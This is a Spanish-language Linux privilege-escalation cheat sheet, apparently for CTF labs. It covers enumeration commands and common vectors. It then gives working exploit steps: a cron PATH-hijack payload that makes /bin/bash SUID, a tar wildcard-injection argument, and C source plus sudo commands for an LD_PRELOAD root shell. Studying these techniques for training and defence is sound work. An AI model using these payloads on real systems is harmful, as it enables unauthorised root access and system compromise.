Escalada en Linux
Entrar como usuario es la mitad. La escalada a root se basa en método: automatiza el reconocimiento, lee lo que resalta y abusa de lo mal configurado. GTFOBins es tu mejor amigo.
🤖Reconocimiento interno automático
Nada más entrar, lanza linpeas y revisa a mano los clásicos:
| linpeas.sh | resalta en rojo/amarillo todo lo escalable |
| sudo -l | ¿qué ejecuto como root sin contraseña? → GTFOBins |
| find / -perm -4000 2>/dev/null | binarios SUID |
| getcap -r / 2>/dev/null | capabilities peligrosas |
| crontab -l / /etc/cron* | tareas programadas que corren como root |
🐙Los vectores que más caen
- sudo / SUID + GTFOBins — un binario ejecutable como root = shell de root. Búscalo en gtfobins.github.io.
- Cron jobs — un script que corre como root y puedes editar (o su PATH).
- Capabilities — cap_setuid en python/perl = root.
- Credenciales — en configs, historiales, .ssh; reutilízalas.
- Kernel exploits — último recurso (pueden tumbar la máquina); confirma versión con uname -a.
🛠Cron + PATH hijack (secuestro de ruta)
Uno de los clásicos: un script que corre como root (por cron) llama a un comando por su nombre, sin ruta absoluta (p.ej. backup en vez de /usr/bin/backup). El comando se resuelve por el PATH; si controlas una carpeta que está antes en ese PATH, pones ahí tu propio backup y root lo ejecuta por ti.
Detectarlo:
cat /etc/cron.d/* /etc/crontab # ¿qué corre root y cuándo? cat /opt/.../run.sh # léelo: ¿llama a algo SIN ruta? ¿pone un PATH? find / -writable -type d 2>/dev/null # ¿una carpeta del PATH es escribible?
Explotarlo (si la carpeta escribible va primera en el PATH del script root):
# creas el comando que root llamará, con tu payload: printf '#!/bin/bash\nchmod u+s /bin/bash\n' > /carpeta/escribible/backup chmod +x /carpeta/escribible/backup # esperas al cron (1 min) y abres shell de root: bash -p # euid=0 -> cat /root/root.txt
Variante: si el script usa tar czf x * en una carpeta donde puedes crear ficheros, eso es wildcard injection (ficheros con nombres tipo --checkpoint-action=exec=sh). Mismo principio: root ejecuta lo que tú colocas.
🧱sudo peligroso: LD_PRELOAD y env_keep
Mira SIEMPRE sudo -l. Si ves env_keep+=LD_PRELOAD (o LD_LIBRARY_PATH) y puedes ejecutar cualquier binario como root, es root directo: sudo conserva tu variable de entorno y precarga tu librería.
1. Compila un .so en tu Kali cuyo constructor lance una shell:
// x.c
#include <stdlib.h>
void _init(){ setuid(0); setgid(0); system("/bin/bash -p"); }
gcc -fPIC -shared -o x.so x.c -nostartfiles # en tu Kali2. Lo subes al objetivo y ejecutas el binario sudo-permitido precargándolo:
sudo LD_PRELOAD=/tmp/x.so /ruta/al/binario_permitido # -> shell de root
La clave es la combinación: env_keep+=LD_PRELOAD en el sudoers + un binario que puedas correr con sudo. Sin el env_keep, sudo limpia la variable.